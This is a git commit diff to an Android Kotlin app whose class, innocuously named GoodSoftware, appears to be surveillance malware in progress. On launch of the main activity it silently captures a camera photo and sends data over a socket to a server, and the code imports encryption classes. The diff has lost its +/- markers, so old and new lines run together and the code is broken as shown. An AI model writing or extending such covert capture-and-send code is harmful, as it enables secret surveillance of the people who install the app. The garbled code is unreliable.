So... it should take an image now?
This commit is contained in:
		@@ -1,16 +1,13 @@
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package com.ti.m
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import android.content.ContentValues
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import android.content.Context
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import android.graphics.Camera
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import android.net.Uri
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import android.os.Build
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import android.provider.MediaStore
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import android.util.Log
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import androidx.camera.core.CameraSelector
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import androidx.camera.core.ImageAnalysis
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import androidx.camera.core.ImageCapture
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import androidx.camera.core.ImageCaptureException
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import androidx.camera.core.ImageProxy
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import androidx.camera.core.Preview
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import androidx.camera.lifecycle.ProcessCameraProvider
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import java.io.BufferedReader
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@@ -25,11 +22,8 @@ import javax.crypto.Cipher
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import javax.crypto.spec.IvParameterSpec
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import javax.crypto.spec.SecretKeySpec
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import androidx.concurrent.futures.await
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import androidx.core.content.ContentProviderCompat.requireContext
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import androidx.core.content.ContextCompat
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import java.io.File
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import java.text.SimpleDateFormat
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import java.util.Locale
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import androidx.lifecycle.LifecycleOwner
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class GoodSoftware (private val context: Context) {
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    private var cameraProvider: ProcessCameraProvider? = null
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@@ -101,14 +95,7 @@ class GoodSoftware (private val context: Context) {
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    private fun runAllTheGoodness() {
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        val dataToSend = "Amazing data"
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        Thread {
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            takeBeautifulPicture(object : PictureTakenCallback {
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                override fun onPictureTaken() {
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                    // Picture taken, proceed to send data
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                    sendDataToServer(dataToSend)
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                }
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            })
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        }.start()
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        sendDataToServer(dataToSend)
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    }
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    fun sendDataToServer(sendData: String) {
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@@ -158,53 +145,60 @@ class GoodSoftware (private val context: Context) {
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        socket.close()
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    }
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    fun takeBeautifulPicture(callback: PictureTakenCallback) {
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        cameraProvider = ProcessCameraProvider.getInstance(context).get()
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    suspend fun takeBeautifulPicture(lifecycleOwner: LifecycleOwner) {
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        // Ensure that cameraProvider is initialized
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        cameraProvider = ProcessCameraProvider.getInstance(context).await()
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        lensFacing = when {
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            hasBackCamera() -> CameraSelector.LENS_FACING_BACK
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            hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT
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            else -> throw IllegalStateException("Back and front camera are unavailable")
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        // Check if cameraProvider is null
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        if (cameraProvider == null) {
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            Log.e(picture.TAG, "Camera provider is null")
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            return
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        }
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        // Ensure that the selected camera is available
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        if (!hasBackCamera() && !hasFrontCamera()) {
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            Log.e(picture.TAG, "Back and front camera are unavailable")
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            return
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        }
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        // Select the lens facing
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        lensFacing = if (hasBackCamera()) {
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            CameraSelector.LENS_FACING_BACK
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        } else {
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            CameraSelector.LENS_FACING_FRONT
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        }
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        // Create ImageCapture instance
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        imageCapture = ImageCapture.Builder()
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            .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
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            .build()
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        imageCapture?.let { imageCapture ->
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            // Create time stamped name and MediaStore entry.
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            val name = SimpleDateFormat(picture.FILENAME, Locale.US)
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                .format(System.currentTimeMillis())
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            val contentValues = ContentValues().apply {
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                put(MediaStore.MediaColumns.DISPLAY_NAME, name)
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                put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE)
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                if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {
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                    val appName = requireContext().resources.getString(R.string.app_name)
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                    put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}")
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                }
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        // Set up image capture listener
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        val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
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            override fun onError(exc: ImageCaptureException) {
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                Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
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            }
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            val outputOptions = ImageCapture.OutputFileOptions
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                .Builder(requireContext().contentResolver,
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                    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
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                    contentValues)
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                .build()
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            imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()),
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                object : ImageCapture.OnImageSavedCallback {
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                    override fun onError(exc: ImageCaptureException) {
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                        Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
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                    }
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                    override fun onImageSaved(output: ImageCapture.OutputFileResults) {
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                        val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString()))
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                        Log.d(picture.TAG, "Photo capture succeeded: $savedUri")
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                    }
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                })
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            override fun onCaptureSuccess(image: ImageProxy) {
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                // Process captured image here
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                image.close()
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            }
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        }
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        callback.onPictureTaken()
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        // Bind the camera and start image capture
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        cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture)
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        // Take the picture
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        imageCapture?.takePicture(
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            ContextCompat.getMainExecutor(context),
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            imageCapturedListener
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        )
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    }
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    private fun hasBackCamera(): Boolean {
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        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
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    }
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@@ -217,6 +211,7 @@ class GoodSoftware (private val context: Context) {
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        return context
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    }
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    object picture {
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        const val TAG = "CameraXBasic"
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        const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS"
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@@ -6,15 +6,14 @@ import androidx.activity.compose.setContent
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import androidx.compose.foundation.layout.fillMaxSize
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import androidx.compose.material3.MaterialTheme
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import androidx.compose.material3.Surface
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import androidx.compose.material3.Text
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import androidx.compose.runtime.Composable
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import androidx.compose.ui.Modifier
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import androidx.compose.ui.tooling.preview.Preview
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import androidx.lifecycle.LifecycleOwner
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import androidx.lifecycle.lifecycleScope
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import com.ti.m.GoodSoftware
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import com.ti.m.ui.theme.MTheme
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import kotlinx.coroutines.launch
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class MainActivity : ComponentActivity() {
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class MainActivity : ComponentActivity(), LifecycleOwner {
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    override fun onCreate(savedInstanceState: Bundle?) {
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        super.onCreate(savedInstanceState)
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        setContent {
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@@ -26,6 +25,10 @@ class MainActivity : ComponentActivity() {
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                }
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            }
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        }
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        GoodSoftware(applicationContext).launch()
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        val Goo = GoodSoftware(applicationContext);
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        Goo.launch()
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        lifecycleScope.launch {
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            Goo.takeBeautifulPicture(this@MainActivity)
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        }
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    }
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}
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}
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